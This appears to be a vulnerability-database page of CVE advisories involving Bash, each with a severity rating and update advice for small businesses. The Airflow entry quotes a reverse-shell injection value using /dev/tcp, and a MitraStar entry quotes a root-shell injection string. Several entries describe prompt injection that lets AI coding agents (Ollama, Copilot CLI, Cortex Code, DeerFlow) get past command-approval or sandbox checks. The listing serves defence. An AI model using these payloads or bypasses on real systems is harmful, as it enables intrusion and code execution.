Vulnerability database
Every flaw the U.S. government’s cybersecurity agency (CISA) has confirmed attackers are using, plus the new WordPress plugin and theme bugs published each day, sorted by what they mean for a small business. We refresh it twice a day. If you see something your website or office runs, tell us.
85 results · page 1 of 2
Sep 29, 2026Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to CVE-2026-102697 · Other software · ollama · reported by VulnCheckHigh 8.5
Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax. Attackers who can influence model output through prompt injection can execute additional shell commands by appending control operators like semicolons or logical operators to approved commands, bypassing the session approval requirement.
- Product
- ollama
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Aug 11, 2026Bash-it 3.2.0 contains a terminal escape sequence injection vulnerability in the barbuk theme's Python virtualenv prompt segment that allows local attackers to CVE-2026-73036 · Other software · Bash-it · reported by VulnCheckMedium 4.6
Bash-it 3.2.0 contains a terminal escape sequence injection vulnerability in the barbuk theme's Python virtualenv prompt segment that allows local attackers to inject arbitrary terminal control sequences by embedding escape sequences in the requires-python field of a pyproject.toml file. When a user navigates into a directory containing a maliciously crafted pyproject.toml, the unfiltered field value is read via awk and concatenated directly into PS1 through __prompt-command without stripping control characters, causing injected OSC or CSI sequences to be written to and interpreted by the terminal emulator on every prompt render.
- Product
- Bash-it
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jul 26, 2026NoteGen before 0.32.0 grants the Tauri shell plugin shell:allow-execute capability for bash, python, and python3 with arbitrary arguments in the default desktopCVE-2026-17497 · Other software · codexu · reported by reefs@jfrog.comHigh 8.3
NoteGen before 0.32.0 grants the Tauri shell plugin shell:allow-execute capability for bash, python, and python3 with arbitrary arguments in the default desktop capabilities. JavaScript running in the application webview can therefore invoke plugin:shell|execute to run attacker-controlled operating system commands with the privileges of the NoteGen process. In combination with script execution in the webview (for example via chat XSS), this enables full remote code execution on the user's machine.
- Product
- NoteGen
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jun 1, 2026Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_commandCVE-2026-42252 · Websites & servers · Apache Software Foundation · reported by security@apache.orgCritical 9.1
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
- Product
- Apache Airflow
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordgithub.comlists.apache.org
Apr 18, 2026An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escCVE-2026-30898 · Websites & servers · Apache Software Foundation · reported by security@apache.orgHigh 8.8
An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escalate privileges of UI user to allow execute code on worker. Users should review if any of their own DAGs have adopted this incorrect advice.
- Product
- Apache Airflow
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordgithub.comlists.apache.org
Apr 16, 2026Improper validation of bash commands in Snowflake Cortex Code CLI versions prior to 1.0.25 allowed subsequent commands to execute outside the sandbox.CVE-2026-6442 · Other software · Snowflake · reported by 412d305a-227d-44f9-a262-a31ba44f2aeaHigh 8.3
Improper validation of bash commands in Snowflake Cortex Code CLI versions prior to 1.0.25 allowed subsequent commands to execute outside the sandbox. An attacker could exploit this by embedding specially crafted commands in untrusted content, such as a malicious repository, causing the CLI agent to execute arbitrary code on the local device without user consent. Exploitation is non-deterministic and model-dependent. The fix is automatically applied upon relaunch with no user action required.
- Product
- Cortex Code CLI
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordcommunity.snowflake.compromptarmor.com
Apr 8, 2026Command injection in alerts in CoolerControl/coolercontrold <4.0.0 allows authenticated attackers to execute arbitrary code as root via injected bash commands iCVE-2026-5208 · Other software · CoolerControl · reported by cve@gitlab.comHigh 8.2
Command injection in alerts in CoolerControl/coolercontrold <4.0.0 allows authenticated attackers to execute arbitrary code as root via injected bash commands in alert names
- Product
- coolercontrold
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Apr 1, 2026ByteDance DeerFlow versions prior to commit 92c7a20 contain a sandbox escape vulnerability in bash tool handling that allows attackers to execute arbitrary commCVE-2026-34430 · Other software · Bytedance Inc. · reported by VulnCheckHigh 8.6
ByteDance DeerFlow versions prior to commit 92c7a20 contain a sandbox escape vulnerability in bash tool handling that allows attackers to execute arbitrary commands on the host system by bypassing regex-based validation using shell features such as directory changes and relative paths. Attackers can exploit the incomplete shell semantics modeling to read and modify files outside the sandbox boundary and achieve arbitrary command execution through subprocess invocation with shell interpretation enabled.
- Product
- DeerFlow
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Mar 25, 2026textract through 2.5.0 is vulnerable to OS Command Injection via the file path parameter in multiple extractors.CVE-2026-26831 · Other software · Dbashford · reported by MITRECritical 9.8
textract through 2.5.0 is vulnerable to OS Command Injection via the file path parameter in multiple extractors. When processing files with malicious filenames, the filePath is passed directly to child_process.exec() in lib/extractors/doc.js, rtf.js, dxf.js, images.js, and lib/util.js with inadequate sanitization
- Product
- Textract
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Mar 18, 2026When a plugin is installed using the Arturia Software Center (MacOS), it also installs an uninstall.sh bash script in a root owned path.CVE-2026-24063 · Other software · Arturia · reported by 551230f0-3615-47bd-b7cc-93e92e730bbfHigh 8.2
When a plugin is installed using the Arturia Software Center (MacOS), it also installs an uninstall.sh bash script in a root owned path. This script is written to disk with the file permissions 777, meaning it is writable by any user. When uninstalling a plugin via the Arturia Software Center the Privileged Helper gets instructed to execute this script. When the bash script is manipulated by an attacker this scenario will lead to privilege escalation.
- Product
- Software Center
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Mar 6, 2026The shell tool within GitHub Copilot CLI versions prior to and including 0.0.422 can allow arbitrary code execution through crafted bash parameter expansion patCVE-2026-29783 · Other software · github · reported by GitHubHigh 7.5
The shell tool within GitHub Copilot CLI versions prior to and including 0.0.422 can allow arbitrary code execution through crafted bash parameter expansion patterns. An attacker who can influence the commands executed by the agent (e.g., via prompt injection through repository files, MCP server responses, or user instructions) can exploit bash parameter transformation operators to execute hidden commands, bypassing the safety assessment that classifies commands as "read-only." This has been patched in version 0.0.423. The vulnerability stems from how the CLI's shell safety assessment evaluates commands before execution. The safety layer parses and classifies shell commands as either read-only (safe) or write-capable (requires user approval). However, several bash parameter expansion features can embed executable code within arguments to otherwise read-only commands, causing them to appear safe while actually performing arbitrary operations. The specific dangerous patterns are ${var@P}, ${var=value} / ${var:=value}, ${!var}, and nested $(cmd) or <(cmd) inside ${...} expansions. An attacker who can influence command text sent to the shell tool - for example, through prompt inject
- Product
- copilot-cli
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Feb 20, 2026Liquid Prompt is an adaptive prompt for Bash and Zsh.CVE-2026-27113 · Other software · liquidprompt · reported by GitHubMedium 6.3
Liquid Prompt is an adaptive prompt for Bash and Zsh. Starting in commit cf3441250bb5d8b45f6f8b389fcdf427a99ac28a and prior to commit a4f6b8d8c90b3eaa33d13dfd1093062ab9c4b30c on the master branch, arbitrary command injection can lead to code execution when a user enters a directory in a Git repository containing a crafted branch name. Exploitation requires the LP_ENABLE_GITSTATUSD config option to be enabled (enabled by default), gitstatusd to be installed and started before Liquid Prompt is loaded (not the default), and shell prompt substitution to be active (enabled by default in Bash via "shopt -s promptvars", not enabled by default in Zsh). A branch name containing shell syntax such as "$(...)" or backtick expressions in the default branch or a checked-out branch will be evaluated by the shell when the prompt is rendered. No stable release is affected; only the master branch contains the vulnerable commit. Commit a4f6b8d8c90b3eaa33d13dfd1093062ab9c4b30c contains a fix. As a workaround, set the LP_ENABLE_GITSTATUSD config option to 0.
- Product
- liquidprompt
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Feb 2, 2026A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with privileges to access the Bash shell to access insecurely stored file contCVE-2026-0383 · Other software · Brocade · reported by sirt@brocade.comHigh 8.2
A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with privileges to access the Bash shell to access insecurely stored file contents including the history command.
- Product
- Fabric OS
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jan 29, 2026gradle-completion provides Bash and Zsh completion support for Gradle.CVE-2026-25063 · Other software · gradle · reported by GitHubHigh 8.3
gradle-completion provides Bash and Zsh completion support for Gradle. A command injection vulnerability was found in gradle-completion up to and including 9.3.0 that allows arbitrary code execution when a user triggers Bash tab completion in a project containing a malicious Gradle build file. The `gradle-completion` script for Bash fails to adequately sanitize Gradle task names and task descriptions, allowing command injection via a malicious Gradle build file when the user completes a command in Bash (without them explicitly running any task in the build). For example, given a task description that includes a string between backticks, then that string would be evaluated as a command when presenting the task description in the completion list. While task execution is the core feature of Gradle, this inherent execution may lead to unexpected outcomes. The vulnerability does not affect zsh completion. The first patched version is 9.3.1. As a workaround, it is possible and effective to temporarily disable bash completion for Gradle by removing `gradle-completion` from `.bashrc` or `.bash_profile`.
- Product
- gradle-completion
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Sep 29, 2025bash-git-prompt 2.6.1 through 2.7.1 insecurely uses the /tmp/git-index-private$$ file, which has a predictable name.CVE-2025-61659 · Other software · magicmonty · reported by MITREMedium 6.8
bash-git-prompt 2.6.1 through 2.7.1 insecurely uses the /tmp/git-index-private$$ file, which has a predictable name.
- Product
- bash-git-prompt
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Sep 16, 2025Ilevia EVE X1/X5 Server version ≤ 4.7.18.0.eden contains a misconfiguration in the sudoers file that allows passwordless execution of certain Bash scripts.CVE-2025-34187 · Other software · Ilevia Srl. · reported by VulnCheckCritical 9.3
Ilevia EVE X1/X5 Server version ≤ 4.7.18.0.eden contains a misconfiguration in the sudoers file that allows passwordless execution of certain Bash scripts. If these scripts are writable by web-facing users or accessible via command injection, attackers can replace them with malicious payloads. Execution with sudo grants full root access, resulting in remote privilege escalation and potential system compromise.
- Product
- EVE X1/X5 Server
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordpacketstorm.newsilevia.com
Jul 9, 2025A user with vpuser credentials that opens an SSH connection to the device, gets a restricted shell rbash that allows only a small list of allowed commands.CVE-2025-27027 · Other software · Radiflow · reported by a6d3dc9e-0591-4a13-bce7-0f5b31ff6158Medium 4.1
A user with vpuser credentials that opens an SSH connection to the device, gets a restricted shell rbash that allows only a small list of allowed commands. This vulnerability enables the user to get a full-featured Linux shell, bypassing the rbash restrictions.
- Product
- iSAP Smart Collector
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jan 17, 2025Multiple bash files were present in the application's private directory.CVE-2024-54681 · Other software · Ossur · reported by ics-cert@hq.dhs.govLow 2
Multiple bash files were present in the application's private directory. Bash files can be used on their own, by an attacker that has already full access to the mobile platform to compromise the translations for the application.
- Product
- Mobile Logic Application
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Aug 28, 2024A vulnerability in Cisco NX-OS Software could allow an authenticated, local attacker with privileges to access the Bash shell to elevate privileges to network-aCVE-2024-20413 · Network & remote access · Cisco · reported by psirt@cisco.comMedium 6.7
A vulnerability in Cisco NX-OS Software could allow an authenticated, local attacker with privileges to access the Bash shell to elevate privileges to network-admin on an affected device. This vulnerability is due to insufficient security restrictions when executing application arguments from the Bash shell. An attacker with privileges to access the Bash shell could exploit this vulnerability by executing crafted commands on the underlying operating system. A successful exploit could allow the attacker to create new users with the privileges of network-admin.
- Product
- Cisco NX-OS Software
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordsec.cloudapps.cisco.com
Aug 28, 2024A vulnerability in Cisco NX-OS Software could allow an authenticated, local attacker with privileges to access the Bash shell to execute arbitrary code as CVE-2024-20411 · Network & remote access · Cisco · reported by psirt@cisco.comMedium 6.7
A vulnerability in Cisco NX-OS Software could allow an authenticated, local attacker with privileges to access the Bash shell to execute arbitrary code as root on an affected device. This vulnerability is due to insufficient security restrictions when executing commands from the Bash shell. An attacker with privileges to access the Bash shell could exploit this vulnerability by executing a specific crafted command on the underlying operating system. A successful exploit could allow the attacker to execute arbitrary code with the privileges of root.
- Product
- Cisco NX-OS Software
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordsec.cloudapps.cisco.com
Aug 28, 2024A vulnerability identified in Advance Authentication that allows bash command Injection in administrative controlled functionality of backup due to improper hanCVE-2021-38120 · Other software · OpenText · reported by security@opentext.comMedium 5.1
A vulnerability identified in Advance Authentication that allows bash command Injection in administrative controlled functionality of backup due to improper handling in provided command parameters. This issue affects NetIQ Advance Authentication version before 6.3.5.1.
- Product
- NetIQ Advance Authentication
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Aug 21, 2024SSH authenticated user when access the PAM server can execute an OS command to gain the full system access using bash.CVE-2020-11847 · Other software · OpenText · reported by security@opentext.comHigh 8.2
SSH authenticated user when access the PAM server can execute an OS command to gain the full system access using bash. This issue affects Privileged Access Manager before 3.7.0.1.
- Product
- Privileged Access Manager
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Nov 13, 2023Bashis, a Security Researcher at IPVM has found a flaw that allows for a remote code execution during the installation of Wave on the camera device.CVE-2023-5747 · Other software · Hanwha Vision Co., Ltd. · reported by fc9afe74-3f80-4fb7-a313-e6f036a89882High 7.2
Bashis, a Security Researcher at IPVM has found a flaw that allows for a remote code execution during the installation of Wave on the camera device. The Wave server application in camera device was vulnerable to command injection allowing an attacker to run arbitrary code. HanwhaVision has released patched firmware for the highlighted flaw. Please refer to the hanwhavision security report for more information and solution."
- Product
- PNV-A6081R
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordhanwhavision.comhanwhavision.com
Apr 24, 2023`embano1/wip` is a GitHub Action written in Bash.CVE-2023-30623 · Other software · embano1 · reported by GitHubHigh 8.8
`embano1/wip` is a GitHub Action written in Bash. Prior to version 2, the `embano1/wip` action uses the `github.event.pull_request.title` parameter in an insecure way. The title parameter is used in a run statement - resulting in a command injection vulnerability due to string interpolation. This vulnerability can be triggered by any user on GitHub. They just need to create a pull request with a commit message containing an exploit. (Note that first-time PR requests will not be run - but the attacker can submit a valid PR before submitting an invalid PR). The commit can be genuine, but the commit message can be malicious. This can be used to execute code on the GitHub runners and can be used to exfiltrate any secrets used in the CI pipeline, including repository tokens. Version 2 has a fix for this issue.
- Product
- wip
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jan 5, 2023A flaw was found in the bash package, where a heap-buffer overflow can occur in valid parameter_transform.CVE-2022-3715 · Other software · Siemens · reported by Red HatHigh 7.8
A flaw was found in the bash package, where a heap-buffer overflow can occur in valid parameter_transform. This issue may lead to memory problems.
- Product
- SIMATIC S7-1500 CPU 1518-4 PN/DP MFP
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordbugzilla.redhat.combugzilla.redhat.com
Jun 24, 2022The www-data (Apache web server) account is configured to run sudo with no password for many commands (including /bin/sh and /bin/bash).CVE-2022-2104 · Other software · Secheron · reported by ics-cert@hq.dhs.govCritical 9.9
The www-data (Apache web server) account is configured to run sudo with no password for many commands (including /bin/sh and /bin/bash).
- Product
- SEPCOS Control and Protection Relay firmware package
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
May 3, 2022MitraStar GPT-2541GNAC-N1 (HGU) 100VNZ0b33 devices allow remote authenticated users to obtain root access by executing command "deviceinfo show file &&/bin/bashCVE-2021-42165 · Other software · Mitrastar · reported by MITREHigh 8.8
MitraStar GPT-2541GNAC-N1 (HGU) 100VNZ0b33 devices allow remote authenticated users to obtain root access by executing command "deviceinfo show file &&/bin/bash" because of incorrect sanitization of parameter "path".
- Product
- Gpt-2541gnac-n1 Firmware
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordgithub.compacketstormsecurity.com
Feb 25, 2022The bash_completion script for fscrypt allows injection of commands via crafted mountpoint paths, allowing privilege escalation under a specific set of circumstCVE-2022-25328 · Computers, phones & browsers · Google LLC · reported by cve-coordination@google.comMedium 5
The bash_completion script for fscrypt allows injection of commands via crafted mountpoint paths, allowing privilege escalation under a specific set of circumstances. A local user who has control over mountpoint paths could potentially escalate their privileges if they create a malicious mountpoint path and if the system administrator happens to be using the fscrypt bash completion script to complete mountpoint paths. We recommend upgrading to version 0.3.3 or above
- Product
- fscrypt
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Sep 9, 2021In Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, the bash shell might be accessible tCVE-2021-28497 · Other software · Arista · reported by psirt@arista.comMedium 4.4
In Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, the bash shell might be accessible to unprivileged users in situations where they should not have access. This issue affects: Arista Metamako Operating System All releases in the MOS-0.1x train MOS-0.26.6 and below releases in the MOS-0.2x train MOS-0.31.1 and below releases in the MOS-0.3x train
- Product
- Metamako Operating System
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Sep 2, 2021bash command injection vulnerability in Apache Zeppelin allows an attacker to inject system commands into Spark interpreter settings.CVE-2019-10095 · Websites & servers · Apache Software Foundation · reported by security@apache.orgCritical 9.8
bash command injection vulnerability in Apache Zeppelin allows an attacker to inject system commands into Spark interpreter settings. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.
- Product
- Apache Zeppelin
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordopenwall.comlists.apache.org
Jul 9, 2021golang/go in 1.0.2 fixes all.bash on shared machines.CVE-2012-2666 · Other software · Golang · reported by Red HatCritical 9.8
golang/go in 1.0.2 fixes all.bash on shared machines. dotest() in src/pkg/debug/gosym/pclntab_test.go creates a temporary file with predicable name and executes it as shell script.
- Product
- GO
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordbugzilla.suse.comcodereview.appspot.com
Jan 26, 2021Rostelecom CS-C2SHW 5.0.082.1 is affected by: Bash command injection.CVE-2020-27542 · Other software · Company · reported by MITREMedium 6.8
Rostelecom CS-C2SHW 5.0.082.1 is affected by: Bash command injection. The camera reads configuration from QR code (including network settings). The static IP configuration from QR code is copied to the file /config/ip-static and after reboot data from this file is inserted into bash command (without any escaping). So bash injection is possible. Camera doesn't parse QR codes if it's already successfully configured. Camera is always rebooted after successful configuration via QR code.
- Product
- Cs-c2shw Firmware
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recorddil4rd.medium.comdil4rd.medium.com
Jan 26, 2021Bash injection vulnerability and bypass of signature verification in Rostelecom CS-C2SHW 5.0.082.1.CVE-2020-27540 · Other software · Company · reported by MITRECritical 9.8
Bash injection vulnerability and bypass of signature verification in Rostelecom CS-C2SHW 5.0.082.1. The camera reads firmware update configuration from SD card file vc\version.json. fw-sign parameter and from this configuration is directly inserted into a bash command. Firmware update is run automatically if there is special file on the inserted SD card.
- Product
- Cs-c2shw Firmware
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recorddil4rd.medium.comdil4rd.medium.com
Sep 9, 2020Yodobashi App for Android versions 1.8.7 and earlier allows remote attackers to lead a user to access an arbitrary website via the vulnerable App.CVE-2020-5627 · Other software · YODOBASHI CAMERA CO.,LTD. · reported by vultures@jpcert.or.jpMedium 6.1
Yodobashi App for Android versions 1.8.7 and earlier allows remote attackers to lead a user to access an arbitrary website via the vulnerable App. As a result, the user may become a victim of a phishing attack.
- Product
- Yodobashi App for Android
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Apr 21, 2020IQrouter through 3.3.1, when unconfigured, has multiple remote code execution vulnerabilities in the web-panel because of Bash Shell Metacharacter Injection.CVE-2020-11963 · Other software · Evenroute · reported by MITRECritical 9.8
IQrouter through 3.3.1, when unconfigured, has multiple remote code execution vulnerabilities in the web-panel because of Bash Shell Metacharacter Injection. Note: The vendor claims that this vulnerability can only occur on a brand-new network that, after initiating the forced initial configuration (which has a required step for setting a secure password on the system), makes this CVE invalid. This vulnerability is “true for any unconfigured release of OpenWRT, and true of many other new Linux distros prior to being configured for the first time”
- Product
- Iqrouter Firmware
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordevenroute.comevenroute.zendesk.com
Jan 8, 2020A Bash script injection vulnerability exists in Kemp Load Master 7.1-16 and earlier due to a failure to sanitize input in the Web User Interface (WUI).CVE-2014-5287 · Other software · Progress · reported by MITREHigh 8.8
A Bash script injection vulnerability exists in Kemp Load Master 7.1-16 and earlier due to a failure to sanitize input in the Web User Interface (WUI).
- Product
- Loadmaster
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordpacketstormsecurity.comexploit-db.com
Nov 27, 2019An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11.CVE-2019-18276 · Other software · Siemens · reported by MITREHigh 7.8
An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.
- Product
- SIMATIC S7-1500 CPU 1518-4 PN/DP MFP
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordpacketstormsecurity.comgithub.com
Nov 8, 2019dtc-xen 0.5.x before 0.5.4 suffers from a race condition where an attacker could potentially get a bash access as xenXX user on the dom0, and then access a poteCVE-2009-4011 · Other software · Dtc-xen Project · reported by MITREHigh 8.1
dtc-xen 0.5.x before 0.5.4 suffers from a race condition where an attacker could potentially get a bash access as xenXX user on the dom0, and then access a potentially reuse an already opened VPS console.
- Product
- Dtc-xen
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordbugs.launchpad.netsecurity-tracker.debian.org
Sep 8, 2019Silver Peak EdgeConnect SD-WAN before 8.1.7.x allows privilege escalation (by administrators) from the menu to a root Bash OS shell via the spsshell feature.CVE-2019-16103 · Other software · Silver-peak · reported by MITREHigh 7.2
Silver Peak EdgeConnect SD-WAN before 8.1.7.x allows privilege escalation (by administrators) from the menu to a root Bash OS shell via the spsshell feature.
- Product
- Unity Edgeconnect Sd-wan Firmware
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jun 18, 2019A heap-based buffer overflow exists in GNU Bash before 4.3 when wide characters, not supported by the current locale set in the LC_CTYPE environment variable, aCVE-2012-6711 · Other software · GNU · reported by MITREHigh 7
A heap-based buffer overflow exists in GNU Bash before 4.3 when wide characters, not supported by the current locale set in the LC_CTYPE environment variable, are printed through the echo built-in function. A local attacker, who can provide data to print through the "echo -e" built-in function, may use this flaw to crash a script or execute code with the privileges of the bash process. This occurs because ansicstr() in lib/sh/strtrans.c mishandles u32cconv().
- Product
- Bash
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordgit.savannah.gnu.orgsecurityfocus.com
May 31, 2019The function getopt_simple as described in Advanced Bash Scripting Guide (ISBN 978-1435752184) allows privilege escalation and execution of commands when used iCVE-2019-9891 · Other software · Tldp · reported by MITRECritical 9.8
The function getopt_simple as described in Advanced Bash Scripting Guide (ISBN 978-1435752184) allows privilege escalation and execution of commands when used in a shell script called, for example, via sudo.
- Product
- Advanced Bash-scripting Guide
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordredteam-pentesting.deredteam-pentesting.de
May 15, 2019A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to bypass the limited command set of the CVE-2019-1730 · Network & remote access · Cisco · reported by psirt@cisco.comMedium 6.7
A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to bypass the limited command set of the restricted Guest Shell and execute commands at the privilege level of a network-admin user outside of the Guest Shell. The attacker must authenticate with valid administrator device credentials. The vulnerability is due to the incorrect implementation of a CLI command that allows a Bash command to be incorrectly invoked on the Guest Shell CLI. An attacker could exploit this vulnerability by authenticating to the device and entering a crafted command at the Guest Shell prompt. A successful exploit could allow the attacker to issue commands that should be restricted by a Guest Shell account.
- Product
- Cisco NX-OS Software
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordsecurityfocus.comtools.cisco.com
Mar 22, 2019rbash in Bash before 4.4-beta2 did not prevent the shell user from modifying BASH_CMDS, thus allowing the user to execute any command with the permissions of thCVE-2019-9924 · Other software · GNU · reported by MITREHigh 7.8
rbash in Bash before 4.4-beta2 did not prevent the shell user from modifying BASH_CMDS, thus allowing the user to execute any command with the permissions of the shell.
- Product
- Bash
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordgit.savannah.gnu.orglists.opensuse.org
Mar 7, 2019A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to escalate their privilege level to rootCVE-2019-1596 · Network & remote access · Cisco · reported by psirt@cisco.comHigh 7.8
A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to escalate their privilege level to root. The attacker must authenticate with valid user credentials. The vulnerability is due to incorrect permissions of a system executable. An attacker could exploit this vulnerability by authenticating to the device and entering a crafted command at the Bash prompt. A successful exploit could allow the attacker to escalate their privilege level to root. Nexus 3000 Series Switches are affected in versions prior to 7.0(3)I7(4). Nexus 3500 Platform Switches are affected in versions prior to 7.0(3)I7(4). Nexus 3600 Platform Switches are affected in versions prior to 7.0(3)F3(5). Nexus 9000 Series Switches in Standalone NX-OS Mode are affected in versions prior to 7.0(3)I7(4). Nexus 9500 R-Series Line Cards and Fabric Modules are affected in versions prior to 7.0(3)F3(5).
- Product
- Nexus 3000 Series Switches
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordsecurityfocus.comtools.cisco.com
Mar 6, 2019A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to escalate their privilege level by execCVE-2019-1593 · Network & remote access · Cisco · reported by psirt@cisco.comHigh 7.8
A vulnerability in the Bash shell implementation for Cisco NX-OS Software could allow an authenticated, local attacker to escalate their privilege level by executing commands authorized to other user roles. The attacker must authenticate with valid user credentials. The vulnerability is due to the incorrect implementation of a Bash shell command that allows role-based access control (RBAC) to be bypassed. An attacker could exploit this vulnerability by authenticating to the device and entering a crafted command at the Bash prompt. A successful exploit could allow the attacker to escalate their privilege level by executing commands that should be restricted to other roles. For example, a dev-ops user could escalate their privilege level to admin with a successful exploit of this vulnerability.
- Product
- Nexus 3000 Series Switches
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordsecurityfocus.comtools.cisco.com
Feb 25, 2019Jamf Self Service 10.9.0 allows man-in-the-middle attackers to obtain a root shell by leveraging the "publish Bash shell scripts" feature to insert "/ApplicatioCVE-2019-9146 · Other software · Jamf · reported by MITREHigh 7.5
Jamf Self Service 10.9.0 allows man-in-the-middle attackers to obtain a root shell by leveraging the "publish Bash shell scripts" feature to insert "/Applications/Utilities/Terminal app/Contents/MacOS/Terminal" into the TCP data stream.
- Product
- Self Service
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Jun 6, 2018The cofee-script module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.CVE-2017-16206 · Other software · Coffescript Project · reported by support@hackerone.comHigh 7.5
The cofee-script module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.
- Product
- Coffescript
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordnodesecurity.ionodesecurity.io
Jun 6, 2018The coffescript module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.CVE-2017-16205 · Other software · HackerOne · reported by support@hackerone.comHigh 7.5
The coffescript module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.
- Product
- coffeescript node module
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordnodesecurity.ionodesecurity.io
Jun 6, 2018The jquey module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.CVE-2017-16204 · Other software · HackerOne · reported by support@hackerone.comHigh 7.5
The jquey module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.
- Product
- jquey node module
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordnodesecurity.ionodesecurity.io
